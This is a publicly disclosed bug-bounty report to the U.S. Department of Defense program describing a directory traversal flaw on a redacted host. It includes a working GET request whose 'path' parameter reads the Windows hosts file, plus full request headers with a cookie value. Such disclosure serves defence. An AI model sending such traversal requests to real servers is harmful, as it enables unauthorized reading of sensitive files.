HexBrain

U.S. Dept Of Defense · Report #1641148

Directory Traversal at █████

Validstatus
highseverity
3upvotes
14 Sept 2022disclosed

How it was found

Hi DoD!

I found directory traversal vulnerability at ████. I didn't find available title for this issue that's why I selected remote file inclusion.

Host: ██████

Vulnerability: Directory Traversal in Windows Server

Tool Used: BurpSuite

Parameter: ==path==

HTTP GET Request###

==GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts==

Response

███

Impact

Attacker could read sensitive file in server

System Host(s)

███████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Make HTTP Request like that;

GET /File/Download?path=C:/WINDOWS/System32/drivers/etc/hosts HTTP/1.1 Host: ███ Cookie: .AspNetCore.Antiforgery.GupjSGuR2ZQ=CfDJ8GfYfRi9j8NNoBU6zVTpTKTbaG72CuADzxVVYVr9efssbxXYtgzCMF2H6PvdOcF0RxMExCsaObiVNuop1ouJa2Nb0k3z4KYTy2ih_nRbxREcZZo-3LBJPXq05kvRrRF6p02TakoqGzC6VUTdPRw-bo8; TimeZoneOffset=-240 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close

Suggested Mitigation/Remediation Actions

Input Validation for path parameter

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original